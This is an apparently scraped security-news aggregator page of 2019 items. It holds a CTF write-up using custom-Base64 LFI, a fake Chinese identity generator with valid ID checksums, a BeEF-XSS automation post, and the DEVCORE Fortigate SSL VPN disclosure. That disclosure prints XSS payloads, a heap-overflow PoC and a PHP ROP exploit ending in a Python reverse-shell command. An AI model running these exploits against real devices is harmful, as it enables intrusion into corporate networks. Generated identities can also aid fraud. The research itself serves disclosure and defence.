Aggregator
Cloud Security: Citadel or Straw House, It's Your Call
August 2019 Security Releases
2019中关村杯show_me_your_image题目writeup
0x02 上传 首先上传正常文件,寻求上传的文件地址,但是服务器只返回一个session回来,再退回主界面发现上传的东西会在 /img.php?name=<???>中显示出来。 尝试改后缀为fuck,之所以我改成fuck是想要测试服务器是否是白名单机制的,即只接收图片格式而不接收其它任何格式。因为如果服务器是黑名单机制就暗示我们要绕开它上传,而白名单限制很死,绕过往往是不可能的,只能另寻它途。很不幸这次就是白名单的。 接着再直接把webshell开为jpeg后缀看看能不能利用img.php可能存在的文件包含漏洞,失败 尝试解析漏洞,失败 暴力扫目录扫php查看有没有别的PHP,一无所获。之所以扫目录是因为之前有题就是藏个phpinfo在那儿,暗示利用Imagick漏洞进行攻击的 看起来上传Getshell这条路被堵死了。泪,流了下来 0x03 发现 session长得很奇怪,有一种...说不出的眼熟,拿去base64解密居然解了部分,后面解不开的是一个.后面的东西,解密出来了有个不完整的JSON,其中包含了一个叫b的参数,这个参数Base64解码之后就是代入img.php的name,这熟悉的客户端session,让我想起了Flask的session,难道...难道这个其实是Flask伪装的? (PS:在下午主办方给了Hint之后,不需要能够发现session眼熟也能知道是Base64,但最好还是别过多依赖Hint,解码勤快点,万一下次不给Hint呢) 我向来是不惮以最坏的恶意来揣测出题人的,然而我还不料,也不信竟会下劣凶残到这地步。况且始终后缀是PHP的网站,更何至于是Python伪装的呢?然而很快证明是事实了,作证的便是参数污染探测。 先讲讲参数污染探测,说的多么神秘无非就是提交重复参数罢了,但是在这种涉嫌伪装的情况下却能够轻易识破。众所周知,PHP在被参数污染的情况下会取最后面的参数,而经过本人测试Flask在被参数污染的情况下会取最前面的参数。而我测试img.php之后发现它取最前面的参数,这便证明了后端并不是PHP! 发现这个惊天秘密似乎对做题并没有什么帮助的样子,我还是继续上传文件。我发现我的文件名不变,参数b不变,文件名越长,参数b越长,并且有一定的对应规律,似乎是变种的Base64?这个猜想正好契合主办方给的Hint,那看来我们需要做的就是通过大量的文件名来拿到Base64的字符串编码表然后自己实现编码利用LFI漏洞拿到Flag! 0x04 破译 到了这一步我整个人已经崩溃了,我操你妈我是个搞Web的,闲时学学二进制,现在叫我搞密码学有没有人性啊?但是思路也就这一条,而且和它的Hint也吻合,所以硬着头皮上吧。 关于Base64,这里有一个很好的讲解,做题我就是看这个讲解来搞定这个编码表恢复的,原理我就不过多重复叙述了。 Base64首先需要把字符串二进制编码填充,再按照六个六个的顺序分开又二进制转换为十进制得到一串由数字列表,接着再把列表里面的数字和按照编码表索引来拿到值。那我要做的就是生成大量文件名得到其自定义Base64的编码,用文件名得到的数字列表和题目自定义的Base64编码结果一一对应获取其编码表。 花了点时间撸出了一份代码,跑得样子是这样的 但是由于我们穷举的是可见字符,非常不幸有几个出不来,但因为我们最后搞LFI利用也不需要不可见字符,就随便填进去生成虽不准确但能用的Base64编码表 最后使用的编码表如下 /d3yiNmo7CzalDw2qWZ5JPYL0MTAjS6Gefxk9VXgvsRcuF+8pH4B1rOUbhKQtnEI 0x04 LFI 到现在需要做的就是用LFI读文件了,把目录用自定义编码表编码,然后交到img.php?name= 里面去。 尝试../../etc/passwd成功,且确认文件目录两层 但是flag找不到,各种找templates/upload.html也找不到,心里MMP,几个月前国赛就是这样的,明明能任意读文件了就是找不到flag 在暴力尝试很久之后我尝试读取下进程相关的东西。关于/proc/<pid>下能读的内容在这里可以找到,我遍历了/proc/<PID>/cmdline 从1到10000的PID,发现就PID=1是个python程序。命令行是个python3 app.py sleep 3000(cmdline读出来没有空格这个空格是我自己脑补充的)但是读也读不到app.py。于是我手动查看/proc/<PID>/目录下面有什么能泄漏路径的东西。 突然发现/proc/<PID>/cwd下面居然和进程工作目录相等,那我立即去读../../../../proc/1/cwd/templates/upload.html读出了文件,发现注释<!-- flag in /root/flag.txt ! Get it ! -->。心里又喜又怒,妈的找了半天flag就在/root/flag.txt下面,害我瞎折腾了那么久,且过去读,就能直接读到flag
VFIO usage
ChatOps is Your Bridge to a True DevSecOps Environment
RGPerson - 随机身份生成脚本
项目地址:https://github.com/gh0stkey/RGPerson
RGPerson - 随机身份生成
环境:python3
使用方法:python3 RGPerson.py
为什么需要Ta相信很多师傅们在做测试的时候经常遇到一些注册的业务功能,要填写的东西很多,我一般都是临时去百度用的信息,这样很繁琐所以决定造轮子撸了个随机身份生成的。
介绍该脚本生成信息:姓名\年龄\性别\身份证\手机号\组织机构代码\统一社会信用代码
脚本编写原理脚本的函数: genMobile()、genIdCard()、genName()、genOrgCode()、genCreditCode()
genMobile() 为随机生成手机号的函数
genName() 为随机生成姓名的函数
genIdCard() 为随机生成身份证的函数
genOrgCode() 为随机生成组织机构代码的函数
genCreditCode() 为随机生成统一社会信用代码的函数
genMobile()随机生成手机号:需要知道国内手机号的构成
1.长度为十一位
2.前三位表示运营商
现在我们只需要做到收集手机号号段的前三位以及对应的运营商:
prelist = {"133":"电信","149":"电信","153":"电信","173":"电信","177":"电信","180":"电信","181":"电信","189":"电信","199":"电信","130":"联通","131":"联通","132":"联通","145":"联通","155":"联通","156":"联通","166":"联通","171":"联通","175":"联通","176":"联通","185":"联通","186":"联通","166":"联通","134":"移动","135":"移动","136":"移动","137":"移动","138":"移动","139":"移动","147":"移动","150":"移动","151":"移动","152":"移动","157":"移动","158":"移动","159":"移动","172":"移动","178":"移动","182":"移动","183":"移动","184":"移动","187":"移动","188":"移动","198":"移动"}获取该数组的长度:len(prelist) -> 42
随机生成下标获取三位数:prelist.keys()[random.randint(0,41)]
然后再随机填补后8位即可:
def genMobile(): prelist = {"133":"电信","149":"电信","153":"电信","173":"电信","177":"电信","180":"电信","181":"电信","189":"电信","199":"电信","130":"联通","131":"联通","132":"联通","145":"联通","155":"联通","156":"联通","166":"联通","171":"联通","175":"联通","176":"联通","185":"联通","186":"联通","166":"联通","134":"移动","135":"移动","136":"移动","137":"移动","138":"移动","139":"移动","147":"移动","150":"移动","151":"移动","152":"移动","157":"移动","158":"移动","159":"移动","172":"移动","178":"移动","182":"移动","183":"移动","184":"移动","187":"移动","188":"移动","198":"移动"} three = list(prelist.keys())[random.randint(0,len(prelist)-1)] mobile = three + "".join(random.choice("0123456789") for i in range(8)) op = prelist[three] return {mobile:op} genName()随机生成姓名:中文名字通常为2、3位汉字组成
1.收集常用的姓氏随机取其一个:
def first_name(): first_name_list = ['赵', '钱', '孙', '李', '周', '吴', '郑', '王', '冯', '陈', '褚', '卫', '蒋', '沈', '韩', '杨', '朱', '秦', '尤', '许', '何', '吕', '施', '张', '孔', '曹', '严', '华', '金', '魏', '陶', '姜', '戚', '谢', '邹', '喻', '柏', '水', '窦', '章', '云', '苏', '潘', '葛', '奚', '范', '彭', '郎', '鲁', '韦', '昌', '马', '苗', '凤', '花', '方', '俞', '任', '袁', '柳', '酆', '鲍', '史', '唐', '费', '廉', '岑', '薛', '雷', '贺', '倪', '汤', '滕', '殷', '罗', '毕', '郝', '邬', '安', '常', '乐', '于', '时', '傅', '皮', '卞', '齐', '康', '伍', '余', '元', '卜', '顾', '孟', '平', '黄', '和', '穆', '萧', '尹', '姚', '邵', '堪', '汪', '祁', '毛', '禹', '狄', '米', '贝', '明', '臧', '计', '伏', '成', '戴', '谈', '宋', '茅', '庞', '熊', '纪', '舒', '屈', '项', '祝', '董', '梁'] n = random.randint(0, len(first_name_list) - 1) f_name = first_name_list[n] return f_name2.这里一开始想搜罗常用的名字,但参考了其他师傅的代码发现随机生成中文字符更好一点:
def GBK2312(): head = random.randint(0xb0, 0xf7) body = random.randint(0xa1, 0xf9) val = f'{head:x}{body:x}' st = bytes.fromhex(val).decode('gb2312') return st3.随机生成名字的第二个字:(这里用一个list做一个空值,随机取生成的汉字或空值,用于成为随机生成2位名字或3位名字)
def second_name(): second_name_list = [GBK2312(), ''] n = random.randint(0, 1) s_name = second_name_list[n] return s_name4.随机生成名字的最后一个字:(用于满足三个汉字的名字)
def last_name(): return GBK2312()5.拼接
def last_name(): return GBK2312() genIdCard()随机生成身份证:公民身份号码是由17位数字码和1位校验码组成
18位数字组合的方式是:
1 1 0 1 0 2 Y Y Y Y M M D D 8 8 8 X 区域码(6位) 出生日期码(8位) 顺序码(2位) 性别码(1位) 校验码(1位)- 6位区域码爬取http://www.360doc.com/content/12/1010/21/156610_240728293.shtml,存到了districtcode.py
区域码 指的是公民常住户口所在县(市、镇、区)的行政区划代码,如110102是北京市-西城区。但港澳台地区居民的身份号码只精确到省级。
- 8位出生日期码,具体Python代码如下:
出生日期码 表示公民出生的公历年(4位)、月(2位)、日(2位)。
- 2位顺序码
顺序码 表示在同一区域码所标识的区域范围内,对同年、同月、同日出生的人编定的顺序号。
- 1位性别码
性别码 奇数表示男性,偶数表示女性。
- 最后一位是校验码,这里采用的是ISO 7064:1983,MOD 11-2校验码系统。校验码为一位数,但如果最后采用校验码系统计算的校验码是“10”,碍于身份证号码为18位的规定,则以“X”代替校验码“10”。
最难的还是校验码的算法,参考师傅的解说:
1.将前面的身份证号码17位数分别乘以不同的系数。从第一位到第十七位的系数分别为:7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2
2.将这17位数字和系数相乘的结果相加。
3.用加出来和除以11,得余数
4.余数只可能是0 1 2 3 4 5 6 7 8 9 10这11个数字,其分别对应的最后一位身份证的号码为1 0 X 9 8 7 6 5 4 3 2。
5.通过上面得知如果余数是2,就会在身份证的第18位数字上出现罗马数字的Ⅹ,如果余数是10,身份证的最后一位号码就是2。
测试代码如下,取了几个真实的身份证号码发现可用:
def test(id_num): id_code_list = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_code_list = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2] a = 0 print(len(id_num)) for i in range(17): a = a + (int(id_num[i]) * id_code_list[int(i)]) print(check_code_list[a % 11])整合一下(Copy)就变成了如下完整的代码:
def genIdCard(age,gender): area_code = ('%s' % random.choice(list(area_dict.keys()))) id_code_list = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_code_list = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2] if str(area_code) not in area_dict.keys(): return None datestring = str(date(date.today().year - age, 1, 1) + timedelta(days=random.randint(0, 364))).replace("-", "") rd = random.randint(0, 999) if gender == 0: gender_num = rd if rd % 2 == 0 else rd + 1 else: gender_num = rd if rd % 2 == 1 else rd - 1 result = str(area_code) + datestring + str(gender_num).zfill(3) b = result + str(check_code_list[sum([a * b for a, b in zip(id_code_list, [int(a) for a in result])]) % 11]) return b 参考https://www.cnblogs.com/evening/archive/2012/04/19/2457440.html
https://www.cnblogs.com/thunderLL/p/7682148.html
https://blog.csdn.net/ak739105231/article/details/83932151
https://github.com/jayknoxqu/id-number-util
https://blog.csdn.net/tobacco5648/article/details/50613025
https://github.com/xbeginagain/generator
CVE-2019-0193:Apache Solr 远程命令执行漏洞复现 - PaperPen
Application Protection Report 2019, Episode 5: API Breaches and the Visibility Problem
HTTP2 Vulnerabilities
网络安全“圣地”之行
蘑菇街安全招新 | 英雄招募令!少侠请留步
利用python封装的BEEF-XSS API进行浏览器自动化攻击
首先ARE不够灵活,搞什么rule set,非常死板的感觉,而直接调API可以更灵活地交互 其次,笔者讨厌ruby,非常讨厌ruby,并且丝毫不能理解msf和beef为什么要用ruby写 这才是主要原因好吧 0x02 python封装API BEEF的API用HTTP调用,因此用python的requests库写起来非常顺手
我很懒,就把BEEF的API封装在了一个beefhandle类里面,首先使用BEEF密码连接获取token来初始化对象,然后做了获取当前在线浏览器/执行命令/获取命令结果的简单支持,都塞在函数里面。更多的一些东西就没弄了 0x03 实现自动化 自动化的简单实现也不复杂,不断调用API查找新上线的主机,将每个主机启动一个线程单独处理,每个主机执行的命令塞到一个命令列表里,一个函数专门去循环查询命令执行结果 0x03 图和代码
其中代码里的探测社交帐号的模块是自己写的,不是自带的,想要使用需要先改代码
(第一次发图的时候居然忘记打码,幸好访问量只有可怜的2)
代码https://github.com/TomAPU/Scripts/tree/master/beef-python
intel IOMMU driver analysis
Banking Trojans: A Reference Guide to the Malware Family Tree
某手游智能反外挂产品原理浅析 - 我是小三
From On-Prem to Cloud: The Complete AWS Security Checklist
Fortigate SSL VPN 資安通報
上一篇 SSL VPN 研究系列文我們通報了在 Palo Alto GlobalProtect 上的 RCE 弱點,這一篇將公開我們在 Fortigate SSL VPN 上的研究,共計找到下列五個弱點:
- CVE-2018-13379: Pre-auth arbitrary file reading
- CVE-2018-13380: Pre-auth XSS
- CVE-2018-13381: Pre-auth heap overflow
- CVE-2018-13382: The magic backdoor
- CVE-2018-13383: Post-auth heap overflow
透過不需認證的任意讀檔問題(CVE-2018-13379)加上管理介面上的 heap overflow(CVE-2018-13383),惡意使用者可直接取得 SSL VPN 的最高權限。
此外,我們也發現了一個官方後門(CVE-2018-13382),可以任意修改使用者密碼。
在回報 Fortigate 後,官方已陸續修復這些弱點,建議 Fortigate SSL VPN 的用戶更新至最新版。
細節詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/
附註這系列 VPN 研究也得到了今年 BlackHat 2019 Pwnie Awards 的 pwnie for best server-side bug(年度最佳伺服器漏洞)。
Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN
Author: Meh Chang(@mehqq_) and Orange Tsai(@orange_8361)
Last month, we talked about Palo Alto Networks GlobalProtect RCE as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you!
We will also give a speech at the following conferences, just come and find us!
- HITCON - Aug. 23 @ Taipei (Chinese)
- HITB GSEC - Aug. 29,30 @ Singapore
- RomHack - Sep. 28 @ Rome
- and more …
The story began in last August, when we started a new research project on SSL VPN. Compare to the site-to-site VPN such as the IPSEC and PPTP, SSL VPN is more easy to use and compatible with any network environments. For its convenience, SSL VPN becomes the most popular remote access way for enterprise!
However, what if this trusted equipment is insecure? It is an important corporate asset but a blind spot of corporation. According to our survey on Fortune 500, the Top-3 SSL VPN vendors dominate about 75% market share. The diversity of SSL VPN is narrow. Therefore, once we find a critical vulnerability on the leading SSL VPN, the impact is huge. There is no way to stop us because SSL VPN must be exposed to the internet.
At the beginning of our research, we made a little survey on the CVE amount of leading SSL VPN vendors:
It seems like Fortinet and Pulse Secure are the most secure ones. Is that true? As a myth buster, we took on this challenge and started hacking Fortinet and Pulse Secure! This story is about hacking Fortigate SSL VPN. The next article is going to be about Pulse Secure, which is the most splendid one! Stay tuned!
Fortigate SSL VPNFortinet calls their SSL VPN product line as Fortigate SSL VPN, which is prevalent among end users and medium-sized enterprise. There are more than 480k servers operating on the internet and is common in Asia and Europe. We can identify it from the URL /remote/login. Here is the technical feature of Fortigate:
-
All-in-one binary We started our research from the file system. We tried to list the binaries in /bin/ and found there are all symbolic links, pointing to /bin/init. Just like this:
Fortigate compiles all the programs and configurations into a single binary, which makes the init really huge. It contains thousands of functions and there is no symbol! It only contains necessary programs for the SSL VPN, so the environment is really inconvenient for hackers. For example, there is even no /bin/ls or /bin/cat!
-
Web daemon There are 2 web interfaces running on the Fortigate. One is for the admin interface, handled with /bin/httpsd on the port 443. The other is normal user interface, handled with /bin/sslvpnd on the port 4433 by default. Generally, the admin page should be restricted from the internet, so we can only access the user interface.
Through our investigation, we found the web server is modified from apache, but it is the apache from 2002. Apparently they modified apache in 2002 and added their own additional functionality. We can map the source code of apache to speed up our analysis.
In both web service, they also compiled their own apache modules into the binary to handle each URL path. We can find a table specifying the handlers and dig into them!
-
WebVPN WebVPN is a convenient proxy feature which allows us connect to all the services simply through a browser. It supports many protocols, like HTTP, FTP, RDP. It can also handle various web resources, such as WebSocket and Flash. To process a website correctly, it parses the HTML and rewrites all the URLs for us. This involves heavy string operation, which is prone to memory bugs.
We found several vulnerabilities:
CVE-2018-13379: Pre-auth arbitrary file readingWhile fetching corresponding language file, it builds the json file path with the parameter lang:
snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);There is no protection, but a file extension appended automatically. It seems like we can only read json file. However, actually we can abuse the feature of snprintf. According to the man page, it writes at most size-1 into the output string. Therefore, we only need to make it exceed the buffer size and the .json will be stripped. Then we can read whatever we want.
CVE-2018-13380: Pre-auth XSSThere are several XSS:
/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E /remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29 /message?title=x&msg=%26%23<svg/onload=alert(1)>; CVE-2018-13381: Pre-auth heap overflowWhile encoding HTML entities code, there are 2 stages. The server first calculate the required buffer length for encoded string. Then it encode into the buffer. In the calculation stage, for example, encode string for < is < and this should occupies 5 bytes. If it encounter anything starts with &#, such as <, it consider there is a token already encoded, and count its length directly. Like this:
c = token[idx]; if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>') cnt += 5; else if(c == '&' && html[idx+1] == '#') cnt += len(strchr(html[idx], ';')-idx);However, there is an inconsistency between length calculation and encoding process. The encode part does not handle that much.
switch (c) { case '<': memcpy(buf[counter], "<", 5); counter += 4; break; case '>': // ... default: buf[counter] = c; break; counter++; }If we input a malicious string like &#<<<;, the < is still encoded into <, so the result should be &#<<<;! This is much longer than the expected length 6 bytes, so it leads to a heap overflow.
PoC:
import requests data = { 'title': 'x', 'msg': '&#' + '<'*(0x20000) + ';<', } r = requests.post('https://sslvpn:4433/message', data=data) CVE-2018-13382: The magic backdoorIn the login page, we found a special parameter called magic. Once the parameter meets a hardcoded string, we can modify any user’s password.
According to our survey, there are still plenty of Fortigate SSL VPN lack of patch. Therefore, considering its severity, we will not disclose the magic string. However, this vulnerability has been reproduced by the researcher from CodeWhite. It is surely that other attackers will exploit this vulnerability soon! Please update your Fortigate ASAP!
Critical vulns in #FortiOS reversed & exploited by our colleagues @niph_ and @ramoliks - patch your #FortiOS asap and see the #bh2019 talk of @orange_8361 and @mehqq_ for details (tnx guys for the teaser that got us started) pic.twitter.com/TLLEbXKnJ4
— Code White GmbH (@codewhitesec) 2019年7月2日 CVE-2018-13383: Post-auth heap overflowThis is a vulnerability on the WebVPN feature. While parsing JavaScript in the HTML, it tries to copy content into a buffer with the following code:
memcpy(buffer, js_buf, js_buf_len);The buffer size is fixed to 0x2000, but the input string is unlimited. Therefore, here is a heap overflow. It is worth to note that this vulnerability can overflow Null byte, which is useful in our exploitation. To trigger this overflow, we need to put our exploit on an HTTP server, and then ask the SSL VPN to proxy our exploit as a normal user.
ExploitationThe official advisory described no RCE risk at first. Actually, it was a misunderstanding. We will show you how to exploit from the user login interface without authentication.
CVE-2018-13381Our first attempt is exploiting the pre-auth heap overflow. However, there is a fundamental defect of this vulnerability – It does not overflow Null bytes. In general, this is not a serious problem. The heap exploitation techniques nowadays should overcome this. However, we found it a disaster doing heap feng shui on Fortigate. There are several obstacles, making the heap unstable and hard to be controlled.
- Single thread, single process, single allocator The web daemon handles multiple connection with epoll(), no multi-process or multi-thread, and the main process and libraries use the same heap, called JeMalloc. It means, all the memory allocations from all the operations of all the connections are on the same heap. Therefore, the heap is really messy.
- Operations regularly triggered This interferes the heap but is uncontrollable. We cannot arrange the heap carefully because it would be destroyed.
- Apache additional memory management. The memory won’t be free() until the connection ends. We cannot arrange the heap in a single connection. Actually this can be an effective mitigation for heap vulnerabilities especially for use-after-free.
- JeMalloc JeMalloc isolates meta data and user data, so it is hard to modify meta data and play with the heap management. Moreover, it centralizes small objects, which also limits our exploit.
We were stuck here, and then we chose to try another way. If anyone exploits this successfully, please teach us!
CVE-2018-13379 + CVE-2018-13383This is a combination of pre-auth file reading and post-auth heap overflow. One for gaining authentication and one for getting a shell.
-
Gain authentication We first use CVE-2018-13379 to leak the session file. The session file contains valuable information, such as username and plaintext password, which let us login easily.
-
Get the shell After login, we can ask the SSL VPN to proxy the exploit on our malicious HTTP server, and then trigger the heap overflow.
Due to the problems mentioned above, we need a nice target to overflow. We cannot control the heap carefully, but maybe we can find something regularly appears! It would be great if it is everywhere, and every time we trigger the bug, we can overflow it easily! However, it is a hard work to find such a target from this huge program, so we were stuck at that time … and we started to fuzz the server, trying to get something useful.
We got an interesting crash. To our great surprise, we almost control the program counter!
Here is the crash, and that’s why we love fuzzing! ;)
Program received signal SIGSEGV, Segmentation fault. 0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1 2: /x $rax = 0x41414141 1: x/i $pc => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax) (gdb)The crash happened in SSL_do_handshake()
int SSL_do_handshake(SSL *s) { // ... s->method->ssl_renegotiate_check(s, 0); if (SSL_in_init(s) || SSL_in_before(s)) { if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) { struct ssl_async_args args; args.s = s; ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern); } else { ret = s->handshake_func(s); } } return ret; }We overwrote the function table inside struct SSL called method, so when the program trying to execute s->method->ssl_renegotiate_check(s, 0);, it crashed.
This is actually an ideal target of our exploit! The allocation of struct SSL can be triggered easily, and the size is just close to our JaveScript buffer, so it can be nearby our buffer with a regular offset! According to the code, we can see that ret = s->handshake_func(s); calls a function pointer, which a perfect choice to control the program flow. With this finding, our exploit strategy is clear.
We first spray the heap with SSL structure with lots of normal requests, and then overflow the SSL structure.
Here we put our php PoC on an HTTP server:
<?php function p64($address) { $low = $address & 0xffffffff; $high = $address >> 32 & 0xffffffff; return pack("II", $low, $high); } $junk = 0x4141414141414141; $nop_func = 0x32FC078; $gadget = p64($junk); $gadget .= p64($nop_func - 0x60); $gadget .= p64($junk); $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64($junk); $gadget .= p64($junk); $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64(0x1bed1f6); // pop rax ; ret ; $gadget .= p64(0x58); $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret ; $gadget .= p64(0x1366639); // call system ; $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;"; $p = str_repeat('AAAAAAAA', 1024+512-4); // offset $p .= $gadget; $p .= str_repeat('A', 0x1000 - strlen($gadget)); $p .= $gadget; ?> <a href="javascript:void(0);<?=$p;?>">xxx</a>The PoC can be divided into three parts.
-
Fake SSL structure The SSL structure has a regular offset to our buffer, so we can forge it precisely. In order to avoid the crash, we set the method to a place containing a void function pointer. The parameter at this time is SSL structure itself s. However, there is only 8 bytes ahead of method. We cannot simply call system("/bin/sh"); on the HTTP server, so this is not enough for our reverse shell command. Thanks to the huge binary, it is easy to find ROP gadgets. We found one useful for stack pivot:
push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;So we set the handshake_func to this gadget, move the rsp to our SSL structure, and do further ROP attack.
- ROP chain The ROP chain here is simple. We slightly move the rdi forward so there is enough space for our reverse shell command.
- Overflow string Finally, we concatenates the overflow padding and exploit. Once we overflow an SSL structure, we get a shell.
Our exploit requires multiple attempts because we may overflow something important and make the program crash prior to the SSL_do_handshake. Anyway, the exploit is still stable thanks to the reliable watchdog of Fortigate. It only takes 1~2 minutes to get a reverse shell back.
-
- 11 December, 2018 Reported to Fortinet
- 19 March, 2019 All fix scheduled
- 24 May, 2019 All advisory released
Upgrade to FortiOS 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above.